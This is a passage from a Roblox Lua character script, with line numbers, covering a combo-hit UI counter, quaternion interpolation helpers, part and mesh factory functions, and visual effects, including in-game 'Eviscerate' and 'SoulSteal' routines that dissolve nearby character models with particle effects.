1933 Frame1.Transparency = 0
1934 Frame2.Transparency = 0
1935 TextLabel3.Text ="Hits: "..combohits
1936 combotime = combotime - .34
1937 Frame2.Size = Frame2.Size:lerp(UDim2.new(0, combotime/maxtime*300, 0, 14),0.42)
1938 end
1939
1940
1941
1942
1943 if combotime<.1 then
1944 TextLabel3.BackgroundTransparency = 1
1945 TextLabel3.Transparency = 1
1946 TextLabel3.TextStrokeTransparency = 1
1947
1948 Frame2.Size = UDim2.new(0, 0, 0, 14)
1949 combotime = 0
1950 comboing = false
1951 Frame1.Transparency = 1
1952 Frame2.Transparency = 1
1953 combohits = 0
1954
1955 end
1956 end
1957 end))
1958
1959
1960
1961 -------------------------------------------------------
1962 --End Combo Function--
1963 -------------------------------------------------------
1964
1965 -------------------------------------------------------
1966 --Start Important Functions--
1967 -------------------------------------------------------
1968 function swait(num)
1969 if num == 0 or num == nil then
1970 game:service("RunService").Stepped:wait(0)
1971 else
1972 for i = 0, num do
1973 game:service("RunService").Stepped:wait(0)
1974 end
1975 end
1976 end
1977 function thread(f)
1978 coroutine.resume(coroutine.create(f))
1979 end
1980 function clerp(a, b, t)
1981 local qa = {
1982 QuaternionFromCFrame(a)
1983 }
1984 local qb = {
1985 QuaternionFromCFrame(b)
1986 }
1987 local ax, ay, az = a.x, a.y, a.z
1988 local bx, by, bz = b.x, b.y, b.z
1989 local _t = 1 - t
1990 return QuaternionToCFrame(_t * ax + t * bx, _t * ay + t * by, _t * az + t * bz, QuaternionSlerp(qa, qb, t))
1991 end
1992 function QuaternionFromCFrame(cf)
1993 local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components()
1994 local trace = m00 + m11 + m22
1995 if trace > 0 then
1996 local s = math.sqrt(1 + trace)
1997 local recip = 0.5 / s
1998 return (m21 - m12) * recip, (m02 - m20) * recip, (m10 - m01) * recip, s * 0.5
1999 else
2000 local i = 0
2001 if m00 < m11 then
2002 i = 1
2003 end
2004 if m22 > (i == 0 and m00 or m11) then
2005 i = 2
2006 end
2007 if i == 0 then
2008 local s = math.sqrt(m00 - m11 - m22 + 1)
2009 local recip = 0.5 / s
2010 return 0.5 * s, (m10 + m01) * recip, (m20 + m02) * recip, (m21 - m12) * recip
2011 elseif i == 1 then
2012 local s = math.sqrt(m11 - m22 - m00 + 1)
2013 local recip = 0.5 / s
2014 return (m01 + m10) * recip, 0.5 * s, (m21 + m12) * recip, (m02 - m20) * recip
2015 elseif i == 2 then
2016 local s = math.sqrt(m22 - m00 - m11 + 1)
2017 local recip = 0.5 / s
2018 return (m02 + m20) * recip, (m12 + m21) * recip, 0.5 * s, (m10 - m01) * recip
2019 end
2020 end
2021 end
2022 function QuaternionToCFrame(px, py, pz, x, y, z, w)
2023 local xs, ys, zs = x + x, y + y, z + z
2024 local wx, wy, wz = w * xs, w * ys, w * zs
2025 local xx = x * xs
2026 local xy = x * ys
2027 local xz = x * zs
2028 local yy = y * ys
2029 local yz = y * zs
2030 local zz = z * zs
2031 return CFrame.new(px, py, pz, 1 - (yy + zz), xy - wz, xz + wy, xy + wz, 1 - (xx + zz), yz - wx, xz - wy, yz + wx, 1 - (xx + yy))
2032 end
2033 function QuaternionSlerp(a, b, t)
2034 local cosTheta = a[1] * b[1] + a[2] * b[2] + a[3] * b[3] + a[4] * b[4]
2035 local startInterp, finishInterp
2036 if cosTheta >= 1.0E-4 then
2037 if 1 - cosTheta > 1.0E-4 then
2038 local theta = math.acos(cosTheta)
2039 local invSinTheta = 1 / Sin(theta)
2040 startInterp = Sin((1 - t) * theta) * invSinTheta
2041 finishInterp = Sin(t * theta) * invSinTheta
2042 else
2043 startInterp = 1 - t
2044 finishInterp = t
2045 end
2046 elseif 1 + cosTheta > 1.0E-4 then
2047 local theta = math.acos(-cosTheta)
2048 local invSinTheta = 1 / Sin(theta)
2049 startInterp = Sin((t - 1) * theta) * invSinTheta
2050 finishInterp = Sin(t * theta) * invSinTheta
2051 else
2052 startInterp = t - 1
2053 finishInterp = t
2054 end
2055 return a[1] * startInterp + b[1] * finishInterp, a[2] * startInterp + b[2] * finishInterp, a[3] * startInterp + b[3] * finishInterp, a[4] * startInterp + b[4] * finishInterp
2056 end
2057 function rayCast(Position, Direction, Range, Ignore)
2058 return game:service("Workspace"):FindPartOnRay(Ray.new(Position, Direction.unit * (Range or 999.999)), Ignore)
2059 end
2060 local RbxUtility = LoadLibrary("RbxUtility")
2061 local Create = RbxUtility.Create
2062
2063 -------------------------------------------------------
2064 --Start Damage Function--
2065 -------------------------------------------------------
2066
2067 -------------------------------------------------------
2068 --End Damage Function--
2069 -------------------------------------------------------
2070
2071 -------------------------------------------------------
2072 --Start Damage Function Customization--
2073 -------------------------------------------------------
2074 function ShowDamage(Pos, Text, Time, Color)
2075 local Rate = (1 / 30)
2076 local Pos = (Pos or Vector3.new(0, 0, 0))
2077 local Text = (Text or "")
2078 local Time = (Time or 2)
2079 local Color = (Color or Color3.new(1, 0, 1))
2080 local EffectPart = CFuncs.Part.Create(workspace, "SmoothPlastic", 0, 1, BrickColor.new(Color), "Effect", Vector3.new(0, 0, 0))
2081 EffectPart.Anchored = true
2082 local BillboardGui = Create("BillboardGui"){
2083 Size = UDim2.new(3, 0, 3, 0),
2084 Adornee = EffectPart,
2085 Parent = EffectPart,
2086 }
2087 local TextLabel = Create("TextLabel"){
2088 BackgroundTransparency = 1,
2089 Size = UDim2.new(1, 0, 1, 0),
2090 Text = Text,
2091 Font = "Bodoni",
2092 TextColor3 = Color,
2093 TextScaled = true,
2094 TextStrokeColor3 = Color3.fromRGB(0,0,0),
2095 Parent = BillboardGui,
2096 }
2097 game.Debris:AddItem(EffectPart, (Time))
2098 EffectPart.Parent = game:GetService("Workspace")
2099 delay(0, function()
2100 local Frames = (Time / Rate)
2101 for Frame = 1, Frames do
2102 wait(Rate)
2103 local Percent = (Frame / Frames)
2104 EffectPart.CFrame = CFrame.new(Pos) + Vector3.new(0, Percent, 0)
2105 TextLabel.TextTransparency = Percent
2106 end
2107 if EffectPart and EffectPart.Parent then
2108 EffectPart:Destroy()
2109 end
2110 end)
2111 end
2112 -------------------------------------------------------
2113 --End Damage Function Customization--
2114 -------------------------------------------------------
2115
2116 CFuncs = {
2117 Part = {
2118 Create = function(Parent, Material, Reflectance, Transparency, BColor, Name, Size)
2119 local Part = Create("Part")({
2120 Parent = Parent,
2121 Reflectance = Reflectance,
2122 Transparency = Transparency,
2123 CanCollide = false,
2124 Locked = true,
2125 BrickColor = BrickColor.new(tostring(BColor)),
2126 Name = Name,
2127 Size = Size,
2128 Material = Material
2129 })
2130 RemoveOutlines(Part)
2131 return Part
2132 end
2133 },
2134 Mesh = {
2135 Create = function(Mesh, Part, MeshType, MeshId, OffSet, Scale)
2136 local Msh = Create(Mesh)({
2137 Parent = Part,
2138 Offset = OffSet,
2139 Scale = Scale
2140 })
2141 if Mesh == "SpecialMesh" then
2142 Msh.MeshType = MeshType
2143 Msh.MeshId = MeshId
2144 end
2145 return Msh
2146 end
2147 },
2148 Mesh = {
2149 Create = function(Mesh, Part, MeshType, MeshId, OffSet, Scale)
2150 local Msh = Create(Mesh)({
2151 Parent = Part,
2152 Offset = OffSet,
2153 Scale = Scale
2154 })
2155 if Mesh == "SpecialMesh" then
2156 Msh.MeshType = MeshType
2157 Msh.MeshId = MeshId
2158 end
2159 return Msh
2160 end
2161 },
2162 Weld = {
2163 Create = function(Parent, Part0, Part1, C0, C1)
2164 local Weld = Create("Weld")({
2165 Parent = Parent,
2166 Part0 = Part0,
2167 Part1 = Part1,
2168 C0 = C0,
2169 C1 = C1
2170 })
2171 return Weld
2172 end
2173 },
2174 Sound = {
2175 Create = function(id, par, vol, pit)
2176 coroutine.resume(coroutine.create(function()
2177 local S = Create("Sound")({
2178 Volume = vol,
2179 Pitch = pit or 1,
2180 SoundId = id,
2181 Parent = par or workspace
2182 })
2183 wait()
2184 S:play()
2185 game:GetService("Debris"):AddItem(S, 6)
2186 end))
2187 end
2188 },
2189 ParticleEmitter = {
2190 Create = function(Parent, Color1, Color2, LightEmission, Size, Texture, Transparency, ZOffset, Accel, Drag, LockedToPart, VelocityInheritance, EmissionDirection, Enabled, LifeTime, Rate, Rotation, RotSpeed, Speed, VelocitySpread)
2191 local fp = Create("ParticleEmitter")({
2192 Parent = Parent,
2193 Color = ColorSequence.new(Color1, Color2),
2194 LightEmission = LightEmission,
2195 Size = Size,
2196 Texture = Texture,
2197 Transparency = Transparency,
2198 ZOffset = ZOffset,
2199 Acceleration = Accel,
2200 Drag = Drag,
2201 LockedToPart = LockedToPart,
2202 VelocityInheritance = VelocityInheritance,
2203 EmissionDirection = EmissionDirection,
2204 Enabled = Enabled,
2205 Lifetime = LifeTime,
2206 Rate = Rate,
2207 Rotation = Rotation,
2208 RotSpeed = RotSpeed,
2209 Speed = Speed,
2210 VelocitySpread = VelocitySpread
2211 })
2212 return fp
2213 end
2214 }
2215 }
2216 function RemoveOutlines(part)
2217 part.TopSurface, part.BottomSurface, part.LeftSurface, part.RightSurface, part.FrontSurface, part.BackSurface = 10, 10, 10, 10, 10, 10
2218 end
2219 function CreatePart(FormFactor, Parent, Material, Reflectance, Transparency, BColor, Name, Size)
2220 local Part = Create("Part")({
2221 formFactor = FormFactor,
2222 Parent = Parent,
2223 Reflectance = Reflectance,
2224 Transparency = Transparency,
2225 CanCollide = false,
2226 Locked = true,
2227 BrickColor = BrickColor.new(tostring(BColor)),
2228 Name = Name,
2229 Size = Size,
2230 Material = Material
2231 })
2232 RemoveOutlines(Part)
2233 return Part
2234 end
2235 function CreateMesh(Mesh, Part, MeshType, MeshId, OffSet, Scale)
2236 local Msh = Create(Mesh)({
2237 Parent = Part,
2238 Offset = OffSet,
2239 Scale = Scale
2240 })
2241 if Mesh == "SpecialMesh" then
2242 Msh.MeshType = MeshType
2243 Msh.MeshId = MeshId
2244 end
2245 return Msh
2246 end
2247 function CreateWeld(Parent, Part0, Part1, C0, C1)
2248 local Weld = Create("Weld")({
2249 Parent = Parent,
2250 Part0 = Part0,
2251 Part1 = Part1,
2252 C0 = C0,
2253 C1 = C1
2254 })
2255 return Weld
2256 end
2257
2258
2259 -------------------------------------------------------
2260 --Start Effect Function--
2261 -------------------------------------------------------
2262 EffectModel = Instance.new("Model", char)
2263 Effects = {
2264 Block = {
2265 Create = function(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay, Type)
2266 local prt = CFuncs.Part.Create(EffectModel, "SmoothPlastic", 0, 0, brickcolor, "Effect", Vector3.new())
2267 prt.Anchored = true
2268 prt.CFrame = cframe
2269 local msh = CFuncs.Mesh.Create("BlockMesh", prt, "", "", Vector3.new(0, 0, 0), Vector3.new(x1, y1, z1))
2270 game:GetService("Debris"):AddItem(prt, 10)
2271 if Type == 1 or Type == nil then
2272 table.insert(Effects, {
2273 prt,
2274 "Block1",
2275 delay,
2276 x3,
2277 y3,
2278 z3,
2279 msh
2280 })
2281 elseif Type == 2 then
2282 table.insert(Effects, {
2283 prt,
2284 "Block2",
2285 delay,
2286 x3,
2287 y3,
2288 z3,
2289 msh
2290 })
2291 else
2292 table.insert(Effects, {
2293 prt,
2294 "Block3",
2295 delay,
2296 x3,
2297 y3,
2298 z3,
2299 msh
2300 })
2301 end
2302 end
2303 },
2304 Sphere = {
2305 Create = function(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay)
2306 local prt = CFuncs.Part.Create(EffectModel, "Neon", 0, 0, brickcolor, "Effect", Vector3.new())
2307 prt.Anchored = true
2308 prt.CFrame = cframe
2309 local msh = CFuncs.Mesh.Create("SpecialMesh", prt, "Sphere", "", Vector3.new(0, 0, 0), Vector3.new(x1, y1, z1))
2310 game:GetService("Debris"):AddItem(prt, 10)
2311 table.insert(Effects, {
2312 prt,
2313 "Cylinder",
2314 delay,
2315 x3,
2316 y3,
2317 z3,
2318 msh
2319 })
2320 end
2321 },
2322 Cylinder = {
2323 Create = function(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay)
2324 local prt = CFuncs.Part.Create(EffectModel, "SmoothPlastic", 0, 0, brickcolor, "Effect", Vector3.new())
2325 prt.Anchored = true
2326 prt.CFrame = cframe
2327 local msh = CFuncs.Mesh.Create("CylinderMesh", prt, "", "", Vector3.new(0, 0, 0), Vector3.new(x1, y1, z1))
2328 game:GetService("Debris"):AddItem(prt, 10)
2329 table.insert(Effects, {
2330 prt,
2331 "Cylinder",
2332 delay,
2333 x3,
2334 y3,
2335 z3,
2336 msh
2337 })
2338 end
2339 },
2340 Wave = {
2341 Create = function(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay)
2342 local prt = CFuncs.Part.Create(EffectModel, "Neon", 0, 0, brickcolor, "Effect", Vector3.new())
2343 prt.Anchored = true
2344 prt.CFrame = cframe
2345 local msh = CFuncs.Mesh.Create("SpecialMesh", prt, "FileMesh", "rbxassetid://20329976", Vector3.new(0, 0, 0), Vector3.new(x1 / 60, y1 / 60, z1 / 60))
2346 game:GetService("Debris"):AddItem(prt, 10)
2347 table.insert(Effects, {
2348 prt,
2349 "Cylinder",
2350 delay,
2351 x3 / 60,
2352 y3 / 60,
2353 z3 / 60,
2354 msh
2355 })
2356 end
2357 },
2358 Ring = {
2359 Create = function(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay)
2360 local prt = CFuncs.Part.Create(EffectModel, "SmoothPlastic", 0, 0, brickcolor, "Effect", Vector3.new())
2361 prt.Anchored = true
2362 prt.CFrame = cframe
2363 local msh = CFuncs.Mesh.Create("SpecialMesh", prt, "FileMesh", "rbxassetid://3270017", Vector3.new(0, 0, 0), Vector3.new(x1, y1, z1))
2364 game:GetService("Debris"):AddItem(prt, 10)
2365 table.insert(Effects, {
2366 prt,
2367 "Cylinder",
2368 delay,
2369 x3,
2370 y3,
2371 z3,
2372 msh
2373 })
2374 end
2375 },
2376 Break = {
2377 Create = function(brickcolor, cframe, x1, y1, z1)
2378 local prt = CFuncs.Part.Create(EffectModel, "Neon", 0, 0, brickcolor, "Effect", Vector3.new(0.5, 0.5, 0.5))
2379 prt.Anchored = true
2380 prt.CFrame = cframe * CFrame.fromEulerAnglesXYZ(math.random(-50, 50), math.random(-50, 50), math.random(-50, 50))
2381 local msh = CFuncs.Mesh.Create("SpecialMesh", prt, "Sphere", "", Vector3.new(0, 0, 0), Vector3.new(x1, y1, z1))
2382 local num = math.random(10, 50) / 1000
2383 game:GetService("Debris"):AddItem(prt, 10)
2384 table.insert(Effects, {
2385 prt,
2386 "Shatter",
2387 num,
2388 prt.CFrame,
2389 math.random() - math.random(),
2390 0,
2391 math.random(50, 100) / 100
2392 })
2393 end
2394 },
2395 Spiral = {
2396 Create = function(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay)
2397 local prt = CFuncs.Part.Create(EffectModel, "SmoothPlastic", 0, 0, brickcolor, "Effect", Vector3.new())
2398 prt.Anchored = true
2399 prt.CFrame = cframe
2400 local msh = CFuncs.Mesh.Create("SpecialMesh", prt, "FileMesh", "rbxassetid://1051557", Vector3.new(0, 0, 0), Vector3.new(x1, y1, z1))
2401 game:GetService("Debris"):AddItem(prt, 10)
2402 table.insert(Effects, {
2403 prt,
2404 "Cylinder",
2405 delay,
2406 x3,
2407 y3,
2408 z3,
2409 msh
2410 })
2411 end
2412 },
2413 Push = {
2414 Create = function(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay)
2415 local prt = CFuncs.Part.Create(EffectModel, "SmoothPlastic", 0, 0, brickcolor, "Effect", Vector3.new())
2416 prt.Anchored = true
2417 prt.CFrame = cframe
2418 local msh = CFuncs.Mesh.Create("SpecialMesh", prt, "FileMesh", "rbxassetid://437347603", Vector3.new(0, 0, 0), Vector3.new(x1, y1, z1))
2419 game:GetService("Debris"):AddItem(prt, 10)
2420 table.insert(Effects, {
2421 prt,
2422 "Cylinder",
2423 delay,
2424 x3,
2425 y3,
2426 z3,
2427 msh
2428 })
2429 end
2430 }
2431 }
2432 function part(formfactor ,parent, reflectance, transparency, brickcolor, name, size)
2433 local fp = IT("Part")
2434 fp.formFactor = formfactor
2435 fp.Parent = parent
2436 fp.Reflectance = reflectance
2437 fp.Transparency = transparency
2438 fp.CanCollide = false
2439 fp.Locked = true
2440 fp.BrickColor = brickcolor
2441 fp.Name = name
2442 fp.Size = size
2443 fp.Position = tors.Position
2444 RemoveOutlines(fp)
2445 fp.Material = "SmoothPlastic"
2446 fp:BreakJoints()
2447 return fp
2448 end
2449
2450 function mesh(Mesh,part,meshtype,meshid,offset,scale)
2451 local mesh = IT(Mesh)
2452 mesh.Parent = part
2453 if Mesh == "SpecialMesh" then
2454 mesh.MeshType = meshtype
2455 if meshid ~= "nil" then
2456 mesh.MeshId = "http://www.roblox.com/asset/?id="..meshid
2457 end
2458 end
2459 mesh.Offset = offset
2460 mesh.Scale = scale
2461 return mesh
2462 end
2463
2464 function Magic(bonuspeed, type, pos, scale, value, color, MType)
2465 local type = type
2466 local rng = Instance.new("Part", char)
2467 rng.Anchored = true
2468 rng.BrickColor = color
2469 rng.CanCollide = false
2470 rng.FormFactor = 3
2471 rng.Name = "Ring"
2472 rng.Material = "Neon"
2473 rng.Size = Vector3.new(1, 1, 1)
2474 rng.Transparency = 0
2475 rng.TopSurface = 0
2476 rng.BottomSurface = 0
2477 rng.CFrame = pos
2478 local rngm = Instance.new("SpecialMesh", rng)
2479 rngm.MeshType = MType
2480 rngm.Scale = scale
2481 local scaler2 = 1
2482 if type == "Add" then
2483 scaler2 = 1 * value
2484 elseif type == "Divide" then
2485 scaler2 = 1 / value
2486 end
2487 coroutine.resume(coroutine.create(function()
2488 for i = 0, 10 / bonuspeed, 0.1 do
2489 swait()
2490 if type == "Add" then
2491 scaler2 = scaler2 - 0.01 * value / bonuspeed
2492 elseif type == "Divide" then
2493 scaler2 = scaler2 - 0.01 / value * bonuspeed
2494 end
2495 rng.Transparency = rng.Transparency + 0.01 * bonuspeed
2496 rngm.Scale = rngm.Scale + Vector3.new(scaler2 * bonuspeed, scaler2 * bonuspeed, scaler2 * bonuspeed)
2497 end
2498 rng:Destroy()
2499 end))
2500 end
2501
2502 function Eviscerate(dude)
2503 if dude.Name ~= char then
2504 local bgf = IT("BodyGyro", dude.Head)
2505 bgf.CFrame = bgf.CFrame * CFrame.fromEulerAnglesXYZ(Rad(-90), 0, 0)
2506 local val = IT("BoolValue", dude)
2507 val.Name = "IsHit"
2508 local ds = coroutine.wrap(function()
2509 dude:WaitForChild("Head"):BreakJoints()
2510 wait(0.5)
2511 target = nil
2512 coroutine.resume(coroutine.create(function()
2513 for i, v in pairs(dude:GetChildren()) do
2514 if v:IsA("Accessory") then
2515 v:Destroy()
2516 end
2517 if v:IsA("Humanoid") then
2518 v:Destroy()
2519 end
2520 if v:IsA("CharacterMesh") then
2521 v:Destroy()
2522 end
2523 if v:IsA("Model") then
2524 v:Destroy()
2525 end
2526 if v:IsA("Part") or v:IsA("MeshPart") then
2527 for x, o in pairs(v:GetChildren()) do
2528 if o:IsA("Decal") then
2529 o:Destroy()
2530 end
2531 end
2532 coroutine.resume(coroutine.create(function()
2533 v.Material = "Neon"
2534 v.CanCollide = false
2535 local PartEmmit1 = IT("ParticleEmitter", v)
2536 PartEmmit1.LightEmission = 1
2537 PartEmmit1.Texture = "rbxassetid://284205403"
2538 PartEmmit1.Color = ColorSequence.new(maincolor.Color)
2539 PartEmmit1.Rate = 150
2540 PartEmmit1.Lifetime = NumberRange.new(1)
2541 PartEmmit1.Size = NumberSequence.new({
2542 NumberSequenceKeypoint.new(0, 0.75, 0),
2543 NumberSequenceKeypoint.new(1, 0, 0)
2544 })
2545 PartEmmit1.Transparency = NumberSequence.new({
2546 NumberSequenceKeypoint.new(0, 0, 0),
2547 NumberSequenceKeypoint.new(1, 1, 0)
2548 })
2549 PartEmmit1.Speed = NumberRange.new(0, 0)
2550 PartEmmit1.VelocitySpread = 30000
2551 PartEmmit1.Rotation = NumberRange.new(-500, 500)
2552 PartEmmit1.RotSpeed = NumberRange.new(-500, 500)
2553 local BodPoss = IT("BodyPosition", v)
2554 BodPoss.P = 3000
2555 BodPoss.D = 1000
2556 BodPoss.maxForce = Vector3.new(50000000000, 50000000000, 50000000000)
2557 BodPoss.position = v.Position + Vector3.new(Mrandom(-15, 15), Mrandom(-15, 15), Mrandom(-15, 15))
2558 v.Color = maincolor.Color
2559 coroutine.resume(coroutine.create(function()
2560 for i = 0, 49 do
2561 swait(1)
2562 v.Transparency = v.Transparency + 0.08
2563 end
2564 wait(0.5)
2565 PartEmmit1.Enabled = false
2566 wait(3)
2567 v:Destroy()
2568 dude:Destroy()
2569 end))
2570 end))
2571 end
2572 end
2573 end))
2574 end)
2575 ds()
2576 end
2577 end
2578
2579 function FindNearestHead(Position, Distance, SinglePlayer)
2580 if SinglePlayer then
2581 return Distance > (SinglePlayer.Torso.CFrame.p - Position).magnitude
2582 end
2583 local List = {}
2584 for i, v in pairs(workspace:GetChildren()) do
2585 if v:IsA("Model") and v:findFirstChild("Head") and v ~= char and Distance >= (v.Head.Position - Position).magnitude then
2586 table.insert(List, v)
2587 end
2588 end
2589 return List
2590 end
2591
2592 function Aura(bonuspeed, FastSpeed, type, pos, x1, y1, z1, value, color, outerpos, MType)
2593 local type = type
2594 local rng = Instance.new("Part", char)
2595 rng.Anchored = true
2596 rng.BrickColor = color
2597 rng.CanCollide = false
2598 rng.FormFactor = 3
2599 rng.Name = "Ring"
2600 rng.Material = "Neon"
2601 rng.Size = Vector3.new(1, 1, 1)
2602 rng.Transparency = 0
2603 rng.TopSurface = 0
2604 rng.BottomSurface = 0
2605 rng.CFrame = pos
2606 rng.CFrame = rng.CFrame + rng.CFrame.lookVector * outerpos
2607 local rngm = Instance.new("SpecialMesh", rng)
2608 rngm.MeshType = MType
2609 rngm.Scale = Vector3.new(x1, y1, z1)
2610 local scaler2 = 1
2611 local speeder = FastSpeed
2612 if type == "Add" then
2613 scaler2 = 1 * value
2614 elseif type == "Divide" then
2615 scaler2 = 1 / value
2616 end
2617 coroutine.resume(coroutine.create(function()
2618 for i = 0, 10 / bonuspeed, 0.1 do
2619 swait()
2620 if type == "Add" then
2621 scaler2 = scaler2 - 0.01 * value / bonuspeed
2622 elseif type == "Divide" then
2623 scaler2 = scaler2 - 0.01 / value * bonuspeed
2624 end
2625 speeder = speeder - 0.01 * FastSpeed * bonuspeed
2626 rng.CFrame = rng.CFrame + rng.CFrame.lookVector * speeder * bonuspeed
2627 rng.Transparency = rng.Transparency + 0.01 * bonuspeed
2628 rngm.Scale = rngm.Scale + Vector3.new(scaler2 * bonuspeed, scaler2 * bonuspeed, 0)
2629 end
2630 rng:Destroy()
2631 end))
2632 end
2633
2634 function SoulSteal(dude)
2635 if dude.Name ~= char then
2636 local bgf = IT("BodyGyro", dude.Head)
2637 bgf.CFrame = bgf.CFrame * CFrame.fromEulerAnglesXYZ(Rad(-90), 0, 0)
2638 local val = IT("BoolValue", dude)
2639 val.Name = "IsHit"
2640 local torso = (dude:FindFirstChild'Head' or dude:FindFirstChild'Torso' or dude:FindFirstChild'UpperTorso' or dude:FindFirstChild'LowerTorso' or dude:FindFirstChild'HumanoidRootPart')
2641 local soulst = coroutine.wrap(function()
2642 local soul = Instance.new("Part",dude)
2643 soul.Size = Vector3.new(1,1,1)
2644 soul.CanCollide = false
2645 soul.Anchored = false
2646 soul.Position = torso.Position
2647 soul.Transparency = 1
2648 local PartEmmit1 = IT("ParticleEmitter", soul)
2649 PartEmmit1.LightEmission = 1
2650 PartEmmit1.Texture = "rbxassetid://569507414"
2651 PartEmmit1.Color = ColorSequence.new(maincolor.Color)
2652 PartEmmit1.Rate = 250
2653 PartEmmit1.Lifetime = NumberRange.new(1.6)
2654 PartEmmit1.Size = NumberSequence.new({
2655 NumberSequenceKeypoint.new(0, 1, 0),
2656 NumberSequenceKeypoint.new(1, 0, 0)
2657 })
2658 PartEmmit1.Transparency = NumberSequence.new({
2659 NumberSequenceKeypoint.new(0, 0, 0),
2660 NumberSequenceKeypoint.new(1, 1, 0)
2661 })
2662 PartEmmit1.Speed = NumberRange.new(0, 0)
2663 PartEmmit1.VelocitySpread = 30000
2664 PartEmmit1.Rotation = NumberRange.new(-360, 360)
2665 PartEmmit1.RotSpeed = NumberRange.new(-360, 360)
2666 local BodPoss = IT("BodyPosition", soul)
2667 BodPoss.P = 3000
2668 BodPoss.D = 1000
2669 BodPoss.maxForce = Vector3.new(50000000000, 50000000000, 50000000000)
2670 BodPoss.position = torso.Position + Vector3.new(Mrandom(-15, 15), Mrandom(-15, 15), Mrandom(-15, 15))
2671 wait(1.6)
2672 soul.Touched:connect(function(hit)
2673 if hit.Parent == char then
2674 soul:Destroy()
2675 end
2676 end)
2677 wait(1.2)
2678 while soul do
2679 swait()
2680 PartEmmit1.Color = ColorSequence.new(maincolor.Color)
2681 BodPoss.Position = tors.Position
2682 end
2683 end)
2684 soulst()
2685 end
2686 end
2687
2688
2689
2690
2691 --killer's effects
2692
2693
2694
2695
2696
2697 function CreatePart(Parent, Material, Reflectance, Transparency, BColor, Name, Size)
2698 local Part = Create("Part"){
2699 Parent = Parent,
2700 Reflectance = Reflectance,
2701 Transparency = Transparency,
2702 CanCollide = false,
2703 Locked = true,
2704 BrickColor = BrickColor.new(tostring(BColor)),
2705 Name = Name,
2706 Size = Size,
2707 Material = Material,
2708 }
2709 RemoveOutlines(Part)
2710 return Part
2711 end
2712
2713 function CreateMesh(Mesh, Part, MeshType, MeshId, OffSet, Scale)
2714 local Msh = Create(Mesh){
2715 Parent = Part,
2716 Offset = OffSet,
2717 Scale = Scale,
2718 }
2719 if Mesh == "SpecialMesh" then
2720 Msh.MeshType = MeshType
2721 Msh.MeshId = MeshId
2722 end
2723 return Msh
2724 end
2725
2726
2727
2728 function BlockEffect(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay, Type)
2729 local prt = CreatePart(workspace, "Neon", 0, 0, brickcolor, "Effect", Vector3.new())
2730 prt.Anchored = true
2731 prt.CFrame = cframe
2732 local msh = CreateMesh("BlockMesh", prt, "", "", Vector3.new(0, 0, 0), Vector3.new(x1, y1, z1))
2733 game:GetService("Debris"):AddItem(prt, 10)
2734 if Type == 1 or Type == nil then
2735 table.insert(Effects, {
2736 prt,
2737 "Block1",
2738 delay,
2739 x3,
2740 y3,
2741 z3,
2742 msh
2743 })
2744 elseif Type == 2 then
2745 table.insert(Effects, {
2746 prt,
2747 "Block2",
2748 delay,
2749 x3,
2750 y3,
2751 z3,
2752 msh
2753 })
2754 end
2755 end
2756
2757 function SphereEffect(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay)
2758 local prt = CreatePart(workspace, "Neon", 0, 0, brickcolor, "Effect", Vector3.new())
2759 prt.Anchored = true
2760 prt.CFrame = cframe
2761 local msh = CreateMesh("SpecialMesh", prt, "Sphere", "", Vector3.new(0, 0, 0), Vector3.new(x1, y1, z1))
2762 game:GetService("Debris"):AddItem(prt, 10)
2763 table.insert(Effects, {
2764 prt,
2765 "Cylinder",
2766 delay,
2767 x3,
2768 y3,
2769 z3,
2770 msh
2771 })
2772 end
2773
2774 function RingEffect(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay)
2775 local prt=CreatePart(workspace,"Neon",0,0,brickcolor,"Effect",vt(.5,.5,.5))--part(3,workspace,"SmoothPlastic",0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
2776 prt.Anchored=true
2777 prt.CFrame=cframe
2778 msh=CreateMesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=3270017",vt(0,0,0),vt(x1,y1,z1))
2779 game:GetService("Debris"):AddItem(prt,2)
2780 coroutine.resume(coroutine.create(function(Part,Mesh,num)
2781 for i=0,1,delay do
2782 swait()
2783 Part.Transparency=i
2784 Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
2785 end
2786 Part.Parent=nil
2787 end),prt,msh,(math.random(0,1)+math.random())/5)
2788 end
2789
2790 function CylinderEffect(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay)
2791 local prt = CreatePart(workspace, "SmoothPlastic", 0, 0, brickcolor, "Effect", Vector3.new())
2792 prt.Anchored = true
2793 prt.CFrame = cframe
2794 local msh = CreateMesh("CylinderMesh", prt, "", "", Vector3.new(0, 0, 0), Vector3.new(x1, y1, z1))
2795 game:GetService("Debris"):AddItem(prt, 10)
2796 table.insert(Effects, {
2797 prt,
2798 "Cylinder",
2799 delay,
2800 x3,
2801 y3,
2802 z3,
2803 msh
2804 })
2805 end
2806
2807 function WaveEffect(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay)
2808 local prt = CreatePart(workspace, "Neon", 0, 0, brickcolor, "Effect", Vector3.new())
2809 prt.Anchored = true
2810 prt.CFrame = cframe
2811 local msh = CreateMesh("SpecialMesh", prt, "FileMesh", "rbxassetid://20329976", Vector3.new(0, 0, 0), Vector3.new(x1, y1, z1))
2812 game:GetService("Debris"):AddItem(prt, 10)
2813 table.insert(Effects, {
2814 prt,
2815 "Cylinder",
2816 delay,
2817 x3,
2818 y3,
2819 z3,
2820 msh
2821 })
2822 end
2823
2824 function SpecialEffect(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay)
2825 local prt = CreatePart(workspace, "Neon", 0, 0, brickcolor, "Effect", Vector3.new())
2826 prt.Anchored = true
2827 prt.CFrame = cframe
2828 local msh = CreateMesh("SpecialMesh", prt, "FileMesh", "rbxassetid://24388358", Vector3.new(0, 0, 0), Vector3.new(x1, y1, z1))
2829 game:GetService("Debris"):AddItem(prt, 10)
2830 table.insert(Effects, {
2831 prt,
2832 "Cylinder",
2833 delay,
2834 x3,
2835 y3,
2836 z3,
2837 msh
2838 })
2839 end
2840
2841
